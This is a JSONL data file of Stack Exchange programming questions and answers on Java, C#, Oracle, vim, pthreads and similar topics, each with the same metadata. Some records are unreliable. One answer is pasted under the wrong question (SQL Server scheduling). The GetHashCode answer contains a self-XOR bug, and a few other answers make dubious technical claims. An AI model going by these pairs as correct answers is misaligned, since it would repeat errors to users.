{"id": "hf_aea1bb9b5f31", "question": "<p>I have an Java desktop application which connects directly with the DB (an Oracle). The application has multiple user accounts. What is the correct method to send the user's password (not DB password) over the network? I don't want to send it in plain text.</p>\n", "question_body": "", "answer": "If you don't want to send the data in plain text, use encryption !!!\nUse some encryption algorithm such as AES, Twofish etc.\nYou must also take into consideration where your client and server are. If they both are in the same machine, there is no use of using an encryption. If they are in different machines, use some encryption algorithm to send sensitive data.\nIf YOU are checking the validity of the passwords, you can just send the hash of the password. Beware that this method will work only if you are comparing the password yourself. If some other application (out of your control) is doing the validation job, you cannot hash the password.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.907351"}
{"id": "hf_4b83467f9aad", "question": "<p>How do I declare \"as any\" in VB.NET, or what is the equivalent?</p>\n", "question_body": "", "answer": "VB.NET\ndoesn't support the \"As Any\" keyword. You'll need to explicitly specify the type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.931718"}
{"id": "hf_9b9d6bc0edf5", "question": "<p>I was wondering if there are any code or class libraries out there on how to implement multithreading or \"green threading\" in ActionScript.</p>\n\n<p>As you've might seen, Scott Peterson is developing some kind of toolset, but I haven't found any more info on this other than his performance on the Adobe MAX Chicago event.</p>\n\n<p>Regards Niclas</p>\n", "question_body": "", "answer": "There's no built-in way to do green threading in ActionScript. You have to write code to handle it.\nMake a function that performs one iteration of whatever operation you want to do. It should return true or false depending on if its job is done or not. Now, you have to compute the time interval left to the next screen update on the ENTER_FRAME event. This can be done using flash.utils.getTimer.\n```\n```\nstart = getTimer();\n//thread is a ui component added to system manager that is redrawn each frame\nvar fr:Number = Math.floor(1000 / thread.systemManager.stage.frameRate);\ndue = start + fr;\n```\n```\nKeep on executing your function while checking the function's return value each time and checking if due time has been crossed by comparing getTimer() with due.\nThis has been implemented into a usable class by Alex Harui in the blog entry -\nThreads in ActionScript", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.968930"}
{"id": "hf_8ca8a5dadd49", "question": "<p>I have an application with one form in it, and on the Load method I need to hide the form. </p>\n\n<p>The form will display itself when it has a need to (think along the lines of a outlook 2003 style popup), but I can' figure out how to hide the form on load without something messy.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Here is a simple approach:\nIt's in C# (I don't have VB compiler at the moment)\n```\n```\npublic Form1()\n{\n    InitializeComponent();\n    Hide(); // Also Visible = false can be used\n}\n\nprivate void Form1_Load(object sender, EventArgs e)\n{\n    Thread.Sleep(10000);\n    Show(); // Or visible = true;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.020052"}
{"id": "hf_0e30ca217adc", "question": "<p>I have a structure in C#:</p>\n\n<pre><code>public struct UserInfo\n{\n   public string str1\n   {\n     get;\n     set;\n   }\n\n   public string str2\n   {\n     get;\n     set;\n   }   \n}\n</code></pre>\n\n<p>The only rule is that  <code>UserInfo(str1=\"AA\", str2=\"BB\").Equals(UserInfo(str1=\"BB\", str2=\"AA\"))</code></p>\n\n<p>How to override the GetHashCode function for this structure? </p>\n", "question_body": "", "answer": "Many possibilities. E.g.\n```\nreturn str1.GetHashCode() ^ str1.GetHashCode()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.065407"}
{"id": "hf_0d50e13d1258", "question": "<p>Working on implementing TFS throughout our organization.  It is easy to integrate with <code>.NET</code> projects and any platform that uses Eclipse or a derivative of Eclipse for editing.<br>\nWhat's the best way to use TFS version control with Xcode (now that I find out we need to write some iPhone apps)?</p>\n", "question_body": "", "answer": "One way would be to use the Team Foundation System client under Windows in VMWare, and check out (or whatever TFS calls it) your sources to a directory on your Mac that's shared with the virtual machine.  It also looks like\nTeamprise\nhas a Team Foundation client for Mac OS X built atop Eclipse that would be worth looking into.\nThat said, I'd very strongly encourage you to use a\nnatively\ncross-platform source code management system like Subversion or Perforce instead of a platform-specific silo like Team Foundation System for your company's soruce code, especially since you're going to be doing multi-platform development.\nWhile you're not likely to share code between a .NET application and an iPhone application, having full cross-platform access to things like design documents can be really important.  Mac OS X 10.5 and later include Subversion, Perforce is readily available, and both Perforce and Subversion are natively supported by the Xcode IDE.  Subversion in particular is also more likely to be familiar to experienced Mac and iPhone developers you might bring onto your projects as you ramp up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.090236"}
{"id": "hf_a342deeffc60", "question": "<p>What is the main difference between an inner class and a static nested class in Java? Does design / implementation play a role in choosing one of these?</p>\n", "question_body": "", "answer": "Ummm… An inner class\nis\na nested class… Do you mean anonymous class and inner class?\nEdit: If you actually meant inner v.s. anonymous: an inner class is just a class defined within a class, such as:\n```\n```\npublic class A {\n    public class B {\n    }\n}\n```\n```\n…whereas an anonymous class is an extension of a class defined anonymously, so no actual \"class\" is defined, as in:\n```\n```\npublic class A {\n}\n\nA anon = new A() { /* You could change behavior of A here */ };\n```\n```\nFurther edit:\nWikipedia\nclaims there is a difference\nin Java, but I've been working with Java for eight years, and it's the first time I heard such a distinction – not to mention there are no references there to back up the claim… Bottom line, an inner class is a class defined within a class (static or not), and nested is just another term to mean the same thing.\nThere is a subtle difference between static and non-static nested classes… Basically, non-static inner classes have implicit access to instance fields and methods of the enclosing class (thus they cannot be constructed in a static context, it will be a compiler error). On the other hand, static nested classes don't have implicit access to instance fields and methods and\ncan\nbe constructed in a static context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.127166"}
{"id": "hf_4ece76a7a516", "question": "<p>Are System.IO.Compression.GZipStream or System.IO.Compression.Deflate compatible with zlib compression?</p>\n", "question_body": "", "answer": "They just compressing the data using zlib or deflate algorithms , but does not provide the output for some specific file format. This means that if you store the stream as-is to the hard drive most probably you will not be able to open it using some application (gzip or winrar) because file headers (magic number, etc ) are not included in stream an you should write them yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.151284"}
{"id": "hf_af1a3f0ff91e", "question": "<p>Is there any way to prevent Visual Studio from creating a VSMacros80 folder in my default project directory?</p>\n", "question_body": "", "answer": "I could not find the previous thread, because I was searching for \"vsmacros\" instead of \"vsmacros80\".\nThere are currently 5 different entries in\n```\nTools->Options->Addin/Macro Security\n```\n```\n```\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\MsEnvShared\\Addins\n%APPDATA%\\Microsoft\\MsEnvShared\\Addins\n%VSAPPDATA%\\Addins\n%VSCOMMONAPPDATA%\\Addins\n%VSMYDOCUMENTS%\\Addins\n```\n```\nCan you tell me which one I have to delete?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.210841"}
{"id": "hf_7be3fd8990bc", "question": "<p>I have apache 2.2 and tomcat 5.5 running on a Windows XP machine.</p>\n\n<p>Which tomcat/apache connector is the easiest to set up and is well documented? </p>\n", "question_body": "", "answer": "```\nmod_jk\n```\n, or simply just use\n```\nmod_proxy\n```\neven though it's not really a Tomcat connector.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.248010"}
{"id": "hf_dad5ad065717", "question": "<p>So I'm working on a Rails app to get the feeling for the whole thing. I've got a <code>Product</code> model that's a standard ActiveRecord model. However, I also want to get some additional product info from Amazon ECS. So my complete model gets some of its info from the database and some from the web service. My question is, should I:</p>\n\n<ol>\n<li><p>Make two models a Product and a ProductAWS, and then tie them together at the controller level.</p></li>\n<li><p>Have the Product ActiveRecord model contain a ProductAWS object that does all the AWS stuff?</p></li>\n<li><p>Just add all the AWS functionality to my Product model.</p></li>\n<li><p>???</p></li>\n</ol>\n", "question_body": "", "answer": "You can use the\n```\ncomposed_of\n```\nrelationship in ActiveRecord. You make a regular class with all the attributes that you manage through AWS and specify that your Product-class is composed_of this class. ActiveRecord will handle the delegation of the mapped attributes to and from this class.\nSee\nthe documentation of composed_of", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.285405"}
{"id": "hf_65a4eae76d1b", "question": "<p>I was asked this question during an interview. They're both O(nlogn) and yet most people use Quicksort instead of Mergesort. Why is that?</p>\n", "question_body": "", "answer": "Actually, QuickSort is O(n\n2\n).  Its\naverage case\nrunning time is O(nlog(n)), but its\nworst-case\nis O(n\n2\n), which occurs when you run it on a list that contains few unique items.  Randomization takes O(n).  Of course, this doesn't change its worst case, it just prevents a malicious user from making your sort take a long time.\nQuickSort is more popular because it:\nIs in-place (MergeSort requires extra memory linear to number of elements to be sorted).\nHas a small hidden constant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.310142"}
{"id": "hf_5e0f5467a670", "question": "<p>I'm doing simple string input parsing and I am in need of a string tokenizer. I am new to C# but have programmed Java, and it seems natural that C# should have a string tokenizer. Does it? Where is it? How do I use it?</p>\n", "question_body": "", "answer": "I think the nearest in the .NET Framework is\n```\nstring.Split()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.335169"}
{"id": "hf_01c12bc9baac", "question": "<p>Can we achieve 100% decoupling between components of a system or different systems that communicate with each other? I don't think its possible. If two systems communicate with each other then there should be some degree of coupling between them. Am I right?</p>\n", "question_body": "", "answer": "You can achieve that. Think of two components that communicate with each other through network. One component can run on Windows while other on Unix. Isn't that 100% decoupling?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.418295"}
{"id": "hf_d064ea1225d7", "question": "<p>So, I have willfully kept myself a Java n00b until recently, and my first real exposure brought about a minor shock: Java does not have C# style properties!</p>\n\n<p>Ok, I can live with that. However, I can also swear that I have seen property getter/setter code in Java in one codebase, but I cannot remember where. How was that achieved? Is there a language extension for that? Is it related to NetBeans or something?</p>\n", "question_body": "", "answer": "My Java experience is not that high either, so anyone feel free to correct me. But AFAIK, the general convention is to write two methods like so:\n```\n```\npublic string getMyString() {\n    // return it here\n}\n\npublic void setMyString(string myString) {\n    // set it here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.440952"}
{"id": "hf_b8a9424a853a", "question": "<p>In order to know how many times a pattern exists in current buffer, I do:</p>\n\n<pre><code>:%s/pattern-here/pattern-here/g\n</code></pre>\n\n<p>It gives the number of occurrences of the pattern, but is obviously cumbersome and also has the side-effect of setting the 'changed' status.</p>\n\n<p>Is there a more elegant way to count?</p>\n", "question_body": "", "answer": "To avoid the substitution, leave the second pattern empty, and add the “n” flag:\n```\n```\n:%s/pattern-here//gn\n```\n```\nThis is described as\nan official tip\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.552868"}
{"id": "hf_487833ca880c", "question": "<p>I have heard there is a way to cheat single inheritance and implement multiple inheritance in Java. Does anyone know how to implement this(with out using interface)?</p>\n\n<p>Just out of curiosity ;-)</p>\n", "question_body": "", "answer": "JAVA doesn't support multiple Inheritence.\nYou can get it to implement multiple interfaces and some see this as a way round the problem. Personally I have yet to use multiple inheritence, so I can't really understand its appeal.\nNormally when someone suggests multiple inheritence within c# or JAVA its due to the fact that 'they could' in c++. Im a fan of 'just because you can doens't mean you should'. As c# & JAVA doesn't support it, why try and force it to do something it wasn't designed to do. This is not to say that there are unique cases where it is a valid technique to empoly, just the code can usually be refactored to not need it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.578475"}
{"id": "hf_9d0a4b583fa1", "question": "<p>What's the best, crossplatform way to perform blackbox tests on AJAX web applications?</p>\n\n<p>Ideally, the solution should have the following attributes:</p>\n\n<ul>\n<li>Able to integrate into a continuous integration build loop</li>\n<li>Cross platform so I you can run it on Windows laptops and Linux continuous integration servers</li>\n<li>Easy way to script the interactions</li>\n<li>Free-as-in-freedom so you can adapt it into your tool chain if necessary</li>\n</ul>\n\n<p>I've looked into HttpUnit but I'm not conviced it can handle AJAX-heavy websites.</p>\n", "question_body": "", "answer": "Selenium might be what you're looking for:\nhttp://selenium.openqa.org/\nIt allows you to script actions and evaluate the results. It's open-source (Apache 2.0), cross platform, and has nice tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.603350"}
{"id": "hf_3a010b488463", "question": "<p>When entering a question, stackoverflow presents you with a list of questions that it thinks likely to cover the same topic. I have seen similar features on other sites or in other programs, too (Help file systems, for example), but I've never programmed something like this myself. Now I'm curious to know what sort of algorithm one would use for that.</p>\n\n<p>The first approach that comes to my mind is splitting the phrase into words and look for phrases containing these words. Before you do that, you probably want to throw away insignificant words (like 'the', 'a', 'does' etc), and then you will want to rank the results.</p>\n\n<p>Hey, wait - let's do that for web pages, and then we can have a ... watchamacallit ... -  a \"search engine\", and then we can sell ads, and then ...</p>\n\n<p>No, seriously, what are the common ways to solve this problem?</p>\n", "question_body": "", "answer": "One approach is the so called bag-of-words model.\nAs you guessed, first you count how many times words appear in the text (usually called document in the NLP-lingo). Then you throw out the so called stop words, such as \"the\", \"a\", \"or\" and so on.\nYou're left with words and word counts. Do this for a while and you get a comprehensive set of words that appear in your documents. You can then create an index for these words:\n\"aardvark\" is 1, \"apple\" is 2, ..., \"z-index\" is 70092.\nNow you can take your word bags and turn them into vectors. For example, if your document contains two references for aardvarks and nothing else, it would look like this:\n```\n```\n[2 0 0 ... 70k zeroes ... 0].\n```\n```\nAfter this you can count the \"angle\" between the two vectors with\na dot product\n. The smaller the angle, the closer the documents are.\nThis is a simple version and there other more advanced techniques. May the\nWikipedia be with you\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.627584"}
{"id": "hf_3cfa39b2f7e4", "question": "<p>I have successfully connected to an Oracle database (10g) from C# (Visual Studio 2008) by downloading and installing the client administration tools and Visual Studio 2008 on my laptop.</p>\n\n<p>The installation footprint for Oracle Client tools was over 200Mb, and quite long winded.</p>\n\n<p>Does anyone know what the minimum workable footprint is? I am hoping that it's a single DLL and a register command, but I have the feeling I need to install an oracle home, and set various environment variables.</p>\n\n<p>I am using Oracle.DataAccess in my code.</p>\n", "question_body": "", "answer": "ODAC xcopy will get you away with about 45MB.\nhttp://www.oracle.com/technology/software/tech/windows/odpnet/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.712527"}
{"id": "hf_ca97559431bb", "question": "<p>I am looking for details of the VTable structure, order and contents, and the location of the vtable pointers within objects. </p>\n\n<p>Ideally, this will cover single inheritance, multiple inheritance, and virtual inheritance.</p>\n\n<p>References to external documentation would also be appreciated</p>\n\n<p>Documentation of GCC 4.0x class layout is <a href=\"http://www.cse.wustl.edu/~mdeters/seminar/fall2005/mi.html#virtual\" rel=\"noreferrer\">here</a> and the Itanium, and more broadly GNU, ABI layout documents are <a href=\"http://www.codesourcery.com/public/cxx-abi/abi.html#general\" rel=\"noreferrer\">here</a>. </p>\n", "question_body": "", "answer": "Most of the compiler implementations that I have seen just \"embed\" the base object into the derived object. It becomes irrelevant where the vtable is kept because the relative offset into the object will just be added at compile time as references are evaluated.\nMultiple and virtual inheritance are more complicated and can require a different offset depending on what is being accessed.\nI highly recommend reading this article on Code Project:\nThe Impossibly Fast C++ Delegates\nIt brilliantly gives a broad picture of how different compilers handle various aspects of inheritance. Fantastic read if you are interested in the low level workings of different compilers.\nEdit: I linked the wrong article over there. Corrected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.798238"}
{"id": "hf_0f23538aa025", "question": "<p>What is an efficient way to implement a singleton design pattern in Java?</p>\n", "question_body": "", "answer": "Make sure that you really need it. Do a google search for \"singleton anti-pattern\" to see some arguments against it.\nThere's nothing inherently wrong with it I suppose, but it's just a mechanism for exposing some global resource/data so make sure that this is the best way. In particular, I've found\ndependency injection\n(DI) more useful particularly if you are also using unit tests, because DI allows you to use mocked resources for testing purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.839740"}
{"id": "hf_033f4d5c1c5f", "question": "<p>I am trying to create a Task Scheduler task to start my SQL Server 2005 instance every morning, because something stops it every night.  This is a temporary solution until I can diagnose the stoppage.</p>\n\n<p>I created a task to run under my admin user, and to start the program, <em>cmd</em> with the arguments <em>/c net start mssqlserver</em>.  When I manually run the command, in a console under my admin user, it runs, but when I try to manually execute the task, it logs the following message, and the service remains stopped:</p>\n\n<p><em>action \"C:\\Windows\\system32\\cmd.EXE\" with return code 2</em>.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Make sure that you really need it. Do a google search for \"singleton anti-pattern\" to see some arguments against it.\nThere's nothing inherently wrong with it I suppose, but it's just a mechanism for exposing some global resource/data so make sure that this is the best way. In particular, I've found\ndependency injection\n(DI) more useful particularly if you are also using unit tests, because DI allows you to use mocked resources for testing purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.864870"}
{"id": "hf_0be137505ed3", "question": "<p>I administrate several Oracle Apps environment, and currently check profile options in lots of environments by loading up forms in each environment, and manually checking each variable, which requires a lot of time.</p>\n\n<p>Is there a snippet of code which will list profile options and at what level and who they are applied to?</p>\n", "question_body": "", "answer": "You'll want to query\n```\nAPPLSYS.FND_PROFILE_OPTIONS\n```\nand\n```\nFND_PROFILE_OPTION_VALUES\n```\n. \nFor a comprehensive script that you can pick up the SQL from, look here:\nhttp://tipsnscripts.com/?p=16", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.938080"}
{"id": "hf_6160e4d37653", "question": "<p>And if you do, can you give some background information on the implementation and the reasons for implementing this pattern?</p>\n\n<p>The pattern is described in more detail in these articles:</p>\n\n<ul>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/ms997506.aspx\" rel=\"nofollow noreferrer\">Microsoft Inductive User Interface\nGuidelines</a></li>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/ms951103.aspx\" rel=\"nofollow noreferrer\">IUIs and Web-Style\nNavigation in Windows Forms, Part 1</a> &amp; <a href=\"http://msdn.microsoft.com/en-us/library/ms951278.aspx\" rel=\"nofollow noreferrer\">Part 2</a></li>\n</ul>\n", "question_body": "", "answer": "Yes - we had a problem in that many of the administrators of our software found it too difficult to use. To solve this we used Microsoft's WinForms IUI framework build a new configuration and management tool for our software.\nUser feedback has been extremely positive, particularly with everything being task driven - i.e. the links on our home page include thing like \"Create new user\", \"Create new department\" - rather then the user having to discover how to do this by clicking through a series of menus. Since the inductive interface is more similar to a web-browser (hypertext links, back/forward buttons) it seems much easier for new users to learn.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.973286"}
{"id": "hf_c1b1a8cad544", "question": "<p>This confusion arises as most people are trained to evaluate arithmetic expressions as per <a href=\"http://en.wikipedia.org/wiki/PEMDAS#Mnemonics\" rel=\"nofollow noreferrer\">PEDMAS or BODMAS rule</a> whereas arithmetic expressions in programming languages like C# do not work in the same way.</p>\n\n<p>What are your takes on it?</p>\n", "question_body": "", "answer": "I am not sure there really is a difference.  The traditional BODMAS (brackets, orders, division, multiplication, addition, subtraction) or PEDMAS (parentheses, exponents, division, multiplication, addition, subtraction) are just subsets of all the possible operations and denote the order that such operations should be applied in.  I don't know of any language in which the BODMAS/PEDMAS rules are violated, but each language typically adds various other operators - such as ++, --, = etc.\nI always keep a list of operator precedence close to hand in case of confusion.  However when in doubt it is usually worth using some parentheses to make the meaning clear.  Just be aware that parentheses do not have the highest precedence - see\nhttp://msdn.microsoft.com/en-us/library/126fe14k.aspx\nfor an example in C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:29.996805"}
{"id": "hf_8c2b29390339", "question": "<p>Suppose I've found a &ldquo;text&rdquo; somewhere in open access (say, on public network share). I have no means to contact the author, I even don't know who is the author.</p>\n\n<p>What can I legally do with such &ldquo;text&rdquo;?</p>\n\n<p><strong>Update:</strong> I am not going to publish that &ldquo;text&rdquo;, but rather learn from it myself.</p>\n\n<p><strong>Update:</strong> So, if I ever see an anonymous code, article, whatever, shouldn't I even open it, because otherwise I'd copy its contents to my brain?</p>\n", "question_body": "", "answer": "As far as I\nknow\n(without any legal training) - if you list the text or code or whathaveyou as \"anonymous\", you're OK.\nI believe that by listing it as anonymous you're indicating you do not know where it came from, but you're admitting you didn't create it as original work.\nExtending from that, you should be open to the actual author being able to prove they are the author, and changing your usage to reflect their name/license/copyright/whatever.\nYou should check with an Intellectual Property lawyer for details and corrections to my understanding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.032242"}
{"id": "hf_cb124fc67f20", "question": "<p>What are the pros / cons of using <code>pthread_cond_wait</code> or using a semaphore ?\nI am waiting for a state change like this :</p>\n\n<pre><code>pthread_mutex_lock(&amp;cam-&gt;video_lock);\nwhile(cam-&gt;status == WAIT_DISPLAY) {\n    pthread_cond_wait(&amp;cam-&gt;video_cond, &amp;cam-&gt;video_lock);\n}\npthread_mutex_unlock(&amp;cam-&gt;video_lock);\n</code></pre>\n\n<p>Using a properly initialised semaphore, I think I could do it like this :</p>\n\n<pre><code>while(cam-&gt;status == WAIT_DISPLAY) {\n    sem_wait(&amp;some_semaphore);\n}\n</code></pre>\n\n<p>What are the pros and cons of each method ?</p>\n", "question_body": "", "answer": "In your second snippet, you're getting the lock multitude of times, never releasing it.\nIn general, the state you're waintin on can be completely expressed by a semaphore, then you can use just that.  A lock structure is smaller in size, and it requires less atomic operations to check/set/release.\nOtherwise, if the state is complex, and different parts of the code wait on different conditions of the same variable (eg, here you want x<10; there you want y>x), use cond_wait.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.058132"}
{"id": "hf_71083549d40d", "question": "<p>How to get a file's creation date or file size, for example this Hello.jpg at <a href=\"http://www.mywebsite.com/now/Hello.jpg(note\" rel=\"nofollow noreferrer\">http://www.mywebsite.com/now/Hello.jpg(note</a>: This URL does not exist)? The purpose of this question is to make my application re-download the files from the any website when it has detected that the website has an updated version of the files and the files in my local folder are out of date. Any ideas?</p>\n", "question_body": "", "answer": "If you use the HEAD request it will send the headers for the resource, there you can check the cache control headers which will tell you if the resource has been modified, last modification time, size (content-length) and date.\n```\n```\n$ telnet www.google.com 80\nTrying 216.239.59.103...\nConnected to www.l.google.com.\nEscape character is '^]'.\nHEAD /intl/en_ALL/images/logo.gif HTTP/1.0\n\nHTTP/1.0 200 OK\nContent-Type: image/gif\nLast-Modified: Wed, 07 Jun 2006 19:38:24 GMT\nExpires: Sun, 17 Jan 2038 19:14:07 GMT\nCache-Control: public\nDate: Tue, 16 Sep 2008 09:45:42 GMT\nServer: gws\nContent-Length: 8558\nConnection: Close\n\nConnection closed by foreign host.\n```\n```\nNote that you'll probably have to decorate this basic and easy approach with many heuristics depending on the craziness of each webserver's admin, as each can send whatever headers they like. If they do not provide caching headers (Last-Modified, Expires, Cache-Control) nor Content-Length nor etag, you'd be stuck with redownloading it to test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.107844"}
{"id": "hf_4e67249bd273", "question": "<p>How do I have a Python script that a) can accept user input and how do I make it b) read in arguments if run from the command line?</p>\n", "question_body": "", "answer": "```\n```\nvar = raw_input(\"Please enter something: \")\nprint \"you entered\", var\n```\n```\nOr for Python 3:\n```\n```\nvar = input(\"Please enter something: \")\nprint(\"You entered: \" + var)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.144412"}
{"id": "hf_e4a6d4532771", "question": "<p>For best performance, is it better to use a virtual IDE HDD or virtual SCSI HDD?\nIf, SCSI, does it matter whether you use an BusLogic or LSILogic?</p>\n", "question_body": "", "answer": "Go for the SCSI and LSILogic. IDE and BusLogic are for compatibility reasons. Like when you do physical2virtual...\nThere's a whitepaper from vmware showing the difference between LSILogic and BusLogic, which in my opinion is rather small:\nhttp://www.vmware.com/pdf/ESX2_Storage_Performance.pdf\nEdit after like three years:\nWith current ESX environments it's best to use the Paravirtual SCSI device.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.169984"}
